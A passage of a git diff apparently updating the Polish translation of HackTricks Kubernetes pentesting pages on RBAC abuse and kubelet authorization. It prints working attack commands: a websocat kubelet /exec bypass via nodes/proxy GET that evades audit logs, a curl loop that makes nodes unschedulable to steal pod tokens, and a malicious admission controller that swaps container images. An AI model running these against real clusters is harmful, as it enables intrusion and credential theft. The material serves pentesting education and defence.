talking to the K8s api endpoint, the **GCP auth token will be sent**. Then, GCP, through the K8s api endpoint, will first **check if the principal** (by email) **has any access inside the cluster**, then it will check if it has **any access via GCP IAM**.\ +> If **any** of those are **true**, he will be **responded**. If **not** an **error** suggesting to give **permissions via GCP IAM** will be given. -Pierwsza metoda to użycie **GCP IAM**, uprawnienia K8s mają swoje **odpowiedniki w uprawnieniach GCP IAM**, a jeśli podmiot je ma, będzie mógł z nich korzystać. +Then, the first method is using **GCP IAM**, the K8s permissions have their **equivalent GCP IAM permissions**, and if the principal have it, it will be able to use it. {{#ref}} ../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md {{#endref}} -Drugą metodą jest **przypisanie uprawnień K8s wewnątrz klastra** poprzez identyfikację użytkownika po jego **e-mailu** (w tym konta serwisowe GCP). +The second method is **assigning K8s permissions inside the cluster** to the identifying the user by its **email** (GCP service accounts included). ### Tworzenie tokena serviceaccounts -Podmioty, które mogą **tworzyć TokenRequests** (`serviceaccounts/token`) podczas rozmowy z punktem końcowym API K8s SAs (informacje z [**tutaj**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). +Podmioty, które mogą **tworzyć TokenRequests** (`serviceaccounts/token`) podczas komunikacji z K8s api endpoint dotyczącym SAs (info from [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). ### ephemeralcontainers -Podmioty, które mogą **`update`** lub **`patch`** **`pods/ephemeralcontainers`**, mogą uzyskać **wykonanie kodu na innych podach**, a potencjalnie **wyjść** na ich węzeł, dodając kontener ephemerowy z uprzywilejowanym securityContext. +Podmioty, które mogą **`update`** lub **`patch`** **`pods/ephemeralcontainers`** mogą uzyskać **wykonanie kodu w innych podach**, a potencjalnie **uciec** do ich node przez dodanie ephemeral container z privileged securityContext -### ValidatingWebhookConfigurations lub MutatingWebhookConfigurations +### ValidatingWebhookConfigurations or MutatingWebhookConfigurations -Podmioty z dowolnym z czasowników `create`, `update` lub `patch` nad `validatingwebhookconfigurations` lub `mutatingwebhookconfigurations` mogą być w stanie **utworzyć jedną z takich webhookconfigurations**, aby móc **eskalować uprawnienia**. +Podmioty mające dowolny z werbów `create`, `update` lub `patch` nad `validatingwebhookconfigurations` lub `mutatingwebhookconfigurations` mogą być w stanie **utworzyć jedną z takich webhookconfigurations**, aby móc **eskalować uprawnienia**. -Dla [`mutatingwebhookconfigurations` przykładu sprawdź tę sekcję tego posta](#malicious-admission-controller). +For a [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller). ### Eskalacja -Jak można przeczytać w następnej sekcji: [**Wbudowana zapobieganie eskalacji uprawnień**](#built-in-privileged-escalation-prevention), podmiot nie może aktualizować ani tworzyć ról lub clusterroles bez posiadania tych nowych uprawnień. Z wyjątkiem sytuacji, gdy ma **czasownik `escalate` lub `*`** nad **`roles`** lub **`clusterroles`** oraz odpowiednie opcje wiązania.\ -Wtedy może aktualizować/tworzyć nowe role, clusterroles z lepszymi uprawnieniami niż te, które posiada. +As you can read in the next section: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), a principal cannot update neither create roles or clusterroles without having himself those new permissions. Except if he has the **verb `escalate` or `*`** over **`roles`** or **`clusterroles`** and the respective binding options.\ +Then he can update/create new roles, clusterroles with better permissions than the ones he has. -### Proxy węzłów +### Nodes proxy -Podmioty z dostępem do podzasobu **`nodes/proxy`** mogą **wykonywać kod na podach** za pośrednictwem API Kubelet (zgodnie z [**tym**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Więcej informacji na temat uwierzytelniania Kubelet na tej stronie: +Podmioty z dostępem do subresource **`nodes/proxy`** mogą **wykonywać kod w podach** via the Kubelet API (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). More information about Kubelet authentication in this page: {{#ref}} ../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md {{#endref}} -Masz przykład, jak uzyskać [**RCE rozmawiając autoryzowanym z API Kubelet tutaj**](../pentesting-kubernetes-services/index.html#kubelet-rce). +#### nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion -### Usuwanie podów + węzły nieschedulowalne +- Kubelet maps HTTP methods to RBAC verbs **before** protocol upgrade. WebSocket handshakes must start with **HTTP GET** (`Connection: Upgrade`), so `/exec` over WebSocket is checked as **verb `get`** instead of the expected `create`. +- `/exec`, `/run`, `/attach`, and `/portforward` are not explicitly mapped and fall into the default **`proxy`** subresource, so the authorization question becomes **`can get nodes/proxy?`** +- If a token only has **`nodes/proxy` + `get`**, direct WebSocket access to the kubelet on `https://:10250` allows arbitrary command execution in any pod on that node. The same request via the API server proxy path (`/api/v1/nodes//proxy/exec/...`) is denied because it is a normal HTTP POST and maps to `create`. +- The kubelet performs no second authorization after the WebSocket upgrade; only the initial GET is evaluated. -Podmioty, które mogą **usuwać pody** (czasownik `delete` nad zasobem `pods`), lub **ewikować pody** (czasownik `create` nad zasobem `pods/eviction`), lub **zmieniać status poda** (dostęp do `pods/status`) i mogą **sprawić, że inne węzły będą nieschedulowalne** (dostęp do `nodes/status`) lub **usuwać węzły** (czasownik `delete` nad zasobem `nodes`) i mają kontrolę nad pod, mogą **kraść pody z innych węzłów**, aby były **wykonywane** w **skompromentowanym** **węźle**, a atakujący może **ukraść tokeny** z tych podów. +**Direct exploit (requires network reachability to the kubelet and a token with `nodes/proxy` GET):** +```bash +kubectl auth can-i --list | grep "nodes/proxy" +websocat --insecure \ +--header "Authorization: Bearer $TOKEN" \ +--protocol "v4.channel.k8s.io" \ +"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id" +``` +- Użyj **adresu IP węzła**, nie nazwy węzła. To samo żądanie z `curl -X POST` będzie **zabronione**, ponieważ mapuje się na `create`. +- Bezpośredni dostęp do kubeleta omija API server, więc AuditPolicy pokazuje tylko `subjectaccessreviews` z user agenta kubeleta i **nie loguje poleceń `pods/exec`**. +- Wypisz dotknięte service accounts za pomocą [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a), aby znaleźć tokeny ograniczone do `nodes/proxy` GET. + +### Usuwanie pods + ustawianie węzłów jako unschedulable + +Podmioty, które mogą **usunąć pods** (`delete` verb over `pods` resource), lub **evict pods** (`create` verb over `pods/eviction` resource), lub **zmienić status podów** (dostęp do `pods/status`) i które mogą **uczynić inne nodes unschedulable** (dostęp do `nodes/status`) lub **usuwać nodes** (`delete` verb over `nodes` resource) — i mają kontrolę nad pewnym podem — mogą przenieść pody z innych nodes tak, że zostaną one uruchomione na skompromitowanym węźle, a atakujący będzie mógł ukraść tokeny z tych podów. ```bash patch_node_capacity(){ curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]' @@ -641,41 +661,41 @@ while true; do patch_node_capacity ; done & kubectl delete pods -n kube-system ``` -### Status usług (CVE-2020-8554) +### Services status (CVE-2020-8554) -Podmioty, które mogą **modyfikować** **`services/status`**, mogą ustawić pole `status.loadBalancer.ingress.ip`, aby wykorzystać **niezałatany CVE-2020-8554** i przeprowadzić **ataki MiTM przeciwko klastrowi**. Większość środków zaradczych dla CVE-2020-8554 zapobiega jedynie usługom ExternalIP (zgodnie z [**tym**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). +Podmioty, które mogą **modyfikować** **`services/status`**, mogą ustawić pole `status.loadBalancer.ingress.ip`, aby wykorzystać **nienaprawiony CVE-2020-8554** i uruchomić **MiTM attacks** na klaster. Większość środków łagodzących dla CVE-2020-8554 zapobiega jedynie ExternalIP services (zgodnie z [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). -### Status węzłów i podów +### Nodes and Pods status -Podmioty z uprawnieniami **`update`** lub **`patch`** do `nodes/status` lub `pods/status` mogą modyfikować etykiety, aby wpłynąć na wymuszone ograniczenia harmonogramowania. +Podmioty posiadające uprawnienia **`update`** lub **`patch`** do `nodes/status` lub `pods/status` mogą zmodyfikować etykiety, aby wpłynąć na wymuszane ograniczenia harmonogramowania. -## Wbudowana zapobieganie eskalacji uprawnień +## Built-in Privileged Escalation Prevention Kubernetes ma [wbudowany mechanizm](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) zapobiegający eskalacji uprawnień. -System ten zapewnia, że **użytkownicy nie mogą podnosić swoich uprawnień poprzez modyfikację ról lub powiązań ról**. Egzekwowanie tej zasady odbywa się na poziomie API, co stanowi zabezpieczenie nawet wtedy, gdy autoryzator RBAC jest nieaktywny. +System zapewnia, że **użytkownicy nie mogą podnosić swoich uprawnień poprzez modyfikowanie roles lub role bindings**. Egzekwowanie tej zasady odbywa się na poziomie API, zapewniając zabezpieczenie nawet gdy RBAC authorizer jest nieaktywny. -Zasada ta stanowi, że **użytkownik może tworzyć lub aktualizować rolę tylko wtedy, gdy posiada wszystkie uprawnienia, które ta rola obejmuje**. Ponadto zakres istniejących uprawnień użytkownika musi być zgodny z zakresem roli, którą próbuje utworzyć lub zmodyfikować: albo w skali klastra dla ClusterRoles, albo ograniczony do tej samej przestrzeni nazw (lub w skali klastra) dla Ról. +Zasada mówi, że **użytkownik może tworzyć lub aktualizować rolę tylko wtedy, gdy posiada wszystkie uprawnienia, które ta rola zawiera**. Co więcej, zakres istniejących uprawnień użytkownika musi być zgodny z zakresem roli, którą próbuje utworzyć lub zmodyfikować: albo ogólnoklastrowy dla ClusterRoles, albo ograniczony do tej samej namespace (lub ogólnoklastrowy) dla Roles. > [!WARNING] -> Istnieje wyjątek od powyższej zasady. Jeśli podmiot ma **czasownik `escalate`** nad **`roles`** lub **`clusterroles`**, może zwiększyć uprawnienia ról i clusterroles, nawet nie mając tych uprawnień. +> Istnieje wyjątek od powyższej zasady. Jeśli podmiot ma **czasownik `escalate`** nad **`roles`** lub **`clusterroles`**, może zwiększać uprawnienia roles i clusterroles nawet bez posiadania tych uprawnień samodzielnie. -### **Pobierz i zmodyfikuj RoleBindings/ClusterRoleBindings** +### **Get & Patch RoleBindings/ClusterRoleBindings** > [!CAUTION] -> **Wygląda na to, że ta technika działała wcześniej, ale według moich testów już nie działa z tego samego powodu wyjaśnionego w poprzedniej sekcji. Nie możesz utworzyć/modyfikować rolebindingu, aby przyznać sobie lub innemu SA jakieś uprawnienia, jeśli ich już nie masz.** +> **Wygląda na to, że ta technika działała wcześniej, ale według moich testów już nie działa z tego samego powodu opisanego w poprzedniej sekcji. Nie możesz utworzyć/modyfikować roleboundingu, aby nadać sobie lub innemu SA pewne uprawnienia, jeśli ich już nie posiadasz.** -Uprawnienie do tworzenia Rolebindings pozwala użytkownikowi na **powiązanie ról z kontem usługi**. To uprawnienie może potencjalnie prowadzić do eskalacji uprawnień, ponieważ **pozwala użytkownikowi powiązać uprawnienia administratora z skompromitowanym kontem usługi.** +Uprawnienie do tworzenia Rolebindings pozwala użytkownikowi **związać roles z service account**. To uprawnienie może prowadzić do eskalacji uprawnień, ponieważ **pozwala użytkownikowi przypisać uprawnienia administratora do przejętego service account.** -## Inne ataki +## Other Attacks -### Aplikacja proxy sidecar +### Sidecar proxy app -Domyślnie nie ma żadnego szyfrowania w komunikacji między podami. Wzajemna autoryzacja, dwukierunkowa, pod do pod. +Domyślnie komunikacja między podami nie jest szyfrowana. Mutual authentication, two-way, pod to pod. -#### Utwórz aplikację proxy sidecar +#### Create a sidecar proxy app -Kontener sidecar polega po prostu na dodaniu **drugiego (lub więcej) kontenera wewnątrz poda**. +Kontener sidecar polega na dodaniu **drugiego (lub więcej) kontenera wewnątrz poda**. Na przykład, poniżej znajduje się część konfiguracji poda z 2 kontenerami: ```yaml @@ -687,15 +707,15 @@ image: nginx image: busybox command: ["sh","-c",""] ``` -Na przykład, aby wprowadzić backdoora do istniejącego poda z nowym kontenerem, możesz po prostu dodać nowy kontener w specyfikacji. Zauważ, że możesz **dać więcej uprawnień** drugiemu kontenerowi, których pierwszy nie będzie miał. +Na przykład, aby backdoor istniejący pod przez dodanie nowego container, możesz po prostu dodać nowy container w specyfikacji. Zauważ, że możesz **przyznać więcej uprawnień** drugiemu containerowi, których pierwszy nie będzie miał. -Więcej informacji na: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) +Więcej informacji: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) -### Złośliwy Kontroler Przyjęć +### Złośliwy Admission Controller -Kontroler przyjęć **przechwytuje żądania do serwera API Kubernetes** przed zapisaniem obiektu, ale **po uwierzytelnieniu** **i autoryzacji** żądania. +admission controller **przechwytuje żądania do Kubernetes API server** przed zapisaniem obiektu, ale **po uwierzytelnieniu** **i autoryzacji** żądania. -Jeśli atakujący w jakiś sposób zdoła **wstrzyknąć Kontroler Przyjęć Mutacji**, będzie mógł **modyfikować już uwierzytelnione żądania**. Będzie miał potencjalnie możliwość eskalacji uprawnień, a zazwyczaj także utrzymania się w klastrze. +Jeśli atakujący w jakiś sposób zdoła **wstrzyknąć Mutation Admission Controller**, będzie mógł **modyfikować już uwierzytelnione żądania**. Może to potencjalnie umożliwić privesc, a częściej pozwolić na utrwalenie się w klastrze. **Przykład z** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): ```bash @@ -716,18 +736,18 @@ Następnie wdroż nowy pod: kubectl run nginx --image nginx kubectl get po -w ``` -Kiedy widzisz błąd `ErrImagePull`, sprawdź nazwę obrazu za pomocą jednego z zapytań: +Gdy zobaczysz błąd `ErrImagePull`, sprawdź nazwę obrazu za pomocą jednego z zapytań: ```bash kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}' kubectl describe po nginx | grep "Image: " ``` ![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp) -Jak widać na powyższym obrazie, próbowaliśmy uruchomić obraz `nginx`, ale ostatecznie wykonany obraz to `rewanthtammana/malicious-image`. Co się właśnie stało!!? +Jak widać na powyższym obrazku, próbowaliśmy uruchomić obraz `nginx`, ale ostatecznie wykonany obraz to `rewanthtammana/malicious-image`. Co się właśnie stało?! -#### Techniczne szczegóły +#### Szczegóły techniczne -Skrypt `./deploy.sh` ustanawia kontroler dostępu z mutującym webhookiem, który modyfikuje żądania do API Kubernetes zgodnie z określonymi w nim liniami konfiguracyjnymi, wpływając na zaobserwowane wyniki: +Skrypt `./deploy.sh` ustanawia mutating webhook admission controller, który modyfikuje żądania do Kubernetes API zgodnie z wpisami w swojej konfiguracji, wpływając na obserwowane rezultaty: ``` patches = append(patches, patchOperation{ Op: "replace", @@ -737,7 +757,7 @@ Value: "rewanthtammana/malicious-image", ``` Powyższy fragment zastępuje pierwszy obraz kontenera w każdym podzie na `rewanthtammana/malicious-image`. -## Ominięcie OPA Gatekeeper +## OPA Gatekeeper bypass {{#ref}} ../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md @@ -745,20 +765,20 @@ Powyższy fragment zastępuje pierwszy obraz kontenera w każdym podzie na `rewa ## Najlepsze praktyki -### **Wyłączenie automatycznego montowania tokenów konta usługi** +### **Wyłączanie automatycznego montowania tokenów konta serwisowego** -- **Pody i konta usługi**: Domyślnie pody montują token konta usługi. Aby zwiększyć bezpieczeństwo, Kubernetes pozwala na wyłączenie tej funkcji automatycznego montowania. -- **Jak zastosować**: Ustaw `automountServiceAccountToken: false` w konfiguracji konta usługi lub podów, począwszy od wersji Kubernetes 1.6. +- **Pods i Service Accounts**: Domyślnie pody montują token konta serwisowego. Aby zwiększyć bezpieczeństwo, Kubernetes umożliwia wyłączenie tej funkcji automount. +- **Jak zastosować**: Ustaw `automountServiceAccountToken: false` w konfiguracji kont serwisowych lub podów, począwszy od wersji Kubernetes 1.6. -### **Ograniczone przypisanie użytkowników w RoleBindings/ClusterRoleBindings** +### **Ograniczone przypisywanie użytkowników w RoleBindings/ClusterRoleBindings** -- **Selektywne włączenie**: Upewnij się, że tylko niezbędni użytkownicy są włączeni w RoleBindings lub ClusterRoleBindings. Regularnie audytuj i usuwaj nieistotnych użytkowników, aby utrzymać ścisłe bezpieczeństwo. +- **Selektywne uwzględnianie**: Upewnij się, że tylko niezbędni użytkownicy są uwzględnieni w RoleBindings lub ClusterRoleBindings. Regularnie przeprowadzaj audyt i usuwaj zbędnych użytkowników, aby utrzymać wysokie bezpieczeństwo. -### **Role specyficzne dla przestrzeni nazw zamiast ról ogólnych** +### **Role specyficzne dla namespace zamiast ról na poziomie klastra** -- **Role vs. ClusterRoles**: Preferuj używanie ról i RoleBindings dla uprawnień specyficznych dla przestrzeni nazw, zamiast ClusterRoles i ClusterRoleBindings, które mają zastosowanie w całym klastrze. Takie podejście oferuje dokładniejszą kontrolę i ogranicza zakres uprawnień. +- **Roles vs. ClusterRoles**: Preferuj używanie Roles i RoleBindings dla uprawnień specyficznych dla namespace zamiast ClusterRoles i ClusterRoleBindings, które obowiązują w całym klastrze. Takie podejście daje dokładniejszą kontrolę i ogranicza zakres uprawnień. -### **Używaj narzędzi automatycznych** +### **Używaj zautomatyzowanych narzędzi** {{#ref}} https://github.com/cyberark/KubiScan @@ -772,12 +792,15 @@ https://github.com/aquasecurity/kube-hunter https://github.com/aquasecurity/kube-bench {{#endref}} -## **Referencje** +## **Źródła** - [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions) - [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1) - [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers) - [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html) - [**https://kubenomicon.com/**](https://kubenomicon.com/) +- [nodes/proxy GET -> kubelet exec WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce) +- [nodes/proxy GET detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) +- [websocat](https://github.com/vi/websocat) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md index ac4b5e85e..fef23b3d9 100644 --- a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md +++ b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md @@ -1,24 +1,24 @@ -# Kubelet Authentication & Authorization +# Kubelet Uwierzytelnianie i autoryzacja {{#include ../../../banners/hacktricks-training.md}} -## Kubelet Authentication +## Uwierzytelnianie Kubeleta -[**Z dokumentacji:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) +[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) -Domyślnie, żądania do punktu końcowego HTTPS kubeleta, które nie są odrzucane przez inne skonfigurowane metody uwierzytelniania, są traktowane jako żądania anonimowe i otrzymują **nazwa użytkownika `system:anonymous`** oraz **grupa `system:unauthenticated`**. +Domyślnie żądania do punktu końcowego HTTPS kubeleta, które nie zostaną odrzucone przez inne skonfigurowane metody uwierzytelniania, są traktowane jako żądania anonimowe i otrzymują **nazwę użytkownika `system:anonymous`** oraz **grupę `system:unauthenticated`**. -**3** metody **uwierzytelniania** to: +The **3** authentication **methods** are: -- **Anonimowe** (domyślnie): Użyj ustawienia parametru **`--anonymous-auth=true` lub konfiguracji:** +- **Anonymous** (domyślnie): Ustaw parametr **`--anonymous-auth=true`** lub konfigurację: ```json "authentication": { "anonymous": { "enabled": true }, ``` -- **Webhook**: To **włączyć** tokeny **API bearer** kubectl jako autoryzację (każdy ważny token będzie ważny). Włącz to za pomocą: -- upewnij się, że grupa API `authentication.k8s.io/v1beta1` jest włączona w serwerze API +- **Webhook**: To spowoduje **włączenie** kubectl **API bearer tokens** jako mechanizmu autoryzacji (każdy ważny token będzie akceptowany). Zezwól na to, wykonując: +- upewnij się, że grupa API `authentication.k8s.io/v1beta1` jest włączona na serwerze API - uruchom kubelet z flagami **`--authentication-token-webhook`** i **`--kubeconfig`** lub użyj następującego ustawienia: ```json "authentication": { @@ -28,11 +28,11 @@ Domyślnie, żądania do punktu końcowego HTTPS kubeleta, które nie są odrzuc }, ``` > [!NOTE] -> Kubelet wywołuje **`TokenReview` API** na skonfigurowanym serwerze API, aby **określić informacje o użytkowniku** z tokenów typu bearer - -- **Certyfikaty klienta X509:** Umożliwiają uwierzytelnianie za pomocą certyfikatów klienta X509 -- zobacz [dokumentację uwierzytelniania apiserver](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) po więcej szczegółów -- uruchom kubelet z flagą `--client-ca-file`, podając pakiet CA do weryfikacji certyfikatów klienta. Lub z konfiguracją: +> Kubelet wywołuje **`TokenReview` API** na skonfigurowanym serwerze API, aby **określić informacje o użytkowniku** z bearer tokens +> +- **X509 client certificates:** Pozwalają na uwierzytelnianie za pomocą certyfikatów klienta X509 +- see the [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) for more details +- start the kubelet with the `--client-ca-file` flag, providing a CA bundle to verify client certificates with. Or with the config: ```json "authentication": { "x509": { @@ -40,16 +40,16 @@ Domyślnie, żądania do punktu końcowego HTTPS kubeleta, które nie są odrzuc } } ``` -## Kubelet Authorization +## Autoryzacja Kubeleta -Każde żądanie, które zostało pomyślnie uwierzytelnione (w tym anonimowe żądanie) **jest następnie autoryzowane**. **Domyślny** tryb autoryzacji to **`AlwaysAllow`**, który **zezwala na wszystkie żądania**. +Każde żądanie, które zostanie pomyślnie uwierzytelnione (w tym żądanie anonimowe) **jest następnie autoryzowane**. **domyślny** tryb autoryzacji to **`AlwaysAllow`**, który **zezwala na wszystkie żądania**. -Jednak inną możliwą wartością jest **`webhook`** (co jest tym, co **najczęściej znajdziesz na zewnątrz**). Ten tryb **sprawdzi uprawnienia uwierzytelnionego użytkownika**, aby zezwolić lub zabronić wykonania akcji. +However, the other possible value is **`webhook`** (który jest tym, co **przeważnie spotkasz**). Ten tryb **sprawdza uprawnienia uwierzytelnionego użytkownika**, aby zezwolić lub odmówić wykonania akcji. > [!WARNING] -> Zauważ, że nawet jeśli **uwierzytelnianie anonimowe jest włączone**, **dostęp anonimowy** może **nie mieć żadnych uprawnień** do wykonania jakiejkolwiek akcji. +> Należy pamiętać, że nawet jeśli **uwierzytelnianie anonimowe jest włączone** to **dostęp anonimowy** może **nie mieć żadnych uprawnień** do wykonania żadnej akcji. -Autoryzacja za pomocą webhooka może być skonfigurowana za pomocą **parametru `--authorization-mode=Webhook`** lub za pomocą pliku konfiguracyjnego z: +Autoryzację przez webhook można skonfigurować używając parametru **`--authorization-mode=Webhook`** lub przez plik konfiguracyjny za pomocą: ```json "authorization": { "mode": "Webhook", @@ -59,41 +59,45 @@ Autoryzacja za pomocą webhooka może być skonfigurowana za pomocą **parametru } }, ``` -Kubelet wywołuje API **`SubjectAccessReview`** na skonfigurowanym serwerze API, aby **określić**, czy każde żądanie jest **autoryzowane.** +The kubelet calls the **`SubjectAccessReview`** API on the configured API server to **determine** whether each request is **authorized.** -Kubelet autoryzuje żądania API, używając tego samego podejścia [atrybutów żądania](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) co apiserver: +The kubelet authorizes API requests using the same [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) approach as the apiserver: - **Akcja** -| Czasownik HTTP | czasownik żądania | -| -------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| POST | create | -| GET, HEAD | get (dla pojedynczych zasobów), list (dla kolekcji, w tym pełnej zawartości obiektu), watch (dla obserwowania pojedynczego zasobu lub kolekcji zasobów) | -| PUT | update | -| PATCH | patch | -| DELETE | delete (dla pojedynczych zasobów), deletecollection (dla kolekcji) | +| HTTP verb | request verb | +| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| POST | create | +| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) | +| PUT | update | +| PATCH | patch | +| DELETE | delete (for individual resources), deletecollection (for collections) | -- **Zasób** komunikujący się z API Kubelet to **zawsze** **nodes**, a **subresource** jest **określany** na podstawie ścieżki przychodzącego żądania: +- Zasób komunikujący się z Kubelet api to **zawsze** **nodes**, a **subresource** jest **określany** na podstawie ścieżki przychodzącego żądania: -| API Kubelet | zasób | subresource | -| --------------| ------- | ----------- | -| /stats/\* | nodes | stats | -| /metrics/\* | nodes | metrics | -| /logs/\* | nodes | log | -| /spec/\* | nodes | spec | -| _wszystkie inne_ | nodes | proxy | +| Kubelet API | resource | subresource | +| ------------ | -------- | ----------- | +| /stats/\* | nodes | stats | +| /metrics/\* | nodes | metrics | +| /logs/\* | nodes | log | +| /spec/\* | nodes | spec | +| _all others_ | nodes | proxy | -Na przykład, poniższe żądanie próbowało uzyskać dostęp do informacji o podach kubelet bez uprawnień: +> [!NOTE] +> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` fall into the default **proxy** subresource and are authorized using the initial HTTP **GET** handshake. A principal with only `nodes/proxy` **GET** can still exec containers if it connects directly to `https://:10250` over WebSockets. See the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) for details. + +For example, the following request tried to access the pods info of kubelet without permission: ```bash curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods' Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy) ``` -- Otrzymaliśmy **Forbidden**, więc żądanie **przeszło kontrolę autoryzacji**. Gdyby nie, otrzymalibyśmy tylko komunikat `Unauthorised`. -- Możemy zobaczyć **nazwa użytkownika** (w tym przypadku z tokena) -- Sprawdź, jak **zasób** to **nodes**, a **subzasób** to **proxy** (co ma sens w kontekście wcześniejszych informacji) +- Otrzymaliśmy **Forbidden**, więc żądanie **przeszło sprawdzenie uwierzytelniania**. Gdyby nie, otrzymalibyśmy tylko komunikat `Unauthorised`. +- Widać **username** (w tym przypadku z tokena) +- Zwróć uwagę, że **resource** to **nodes**, a **subresource** to **proxy** (co ma sens w świetle powyższych informacji) -## References +## Referencje - [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) +- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce) {{#include ../../../banners/hacktricks-training.md}}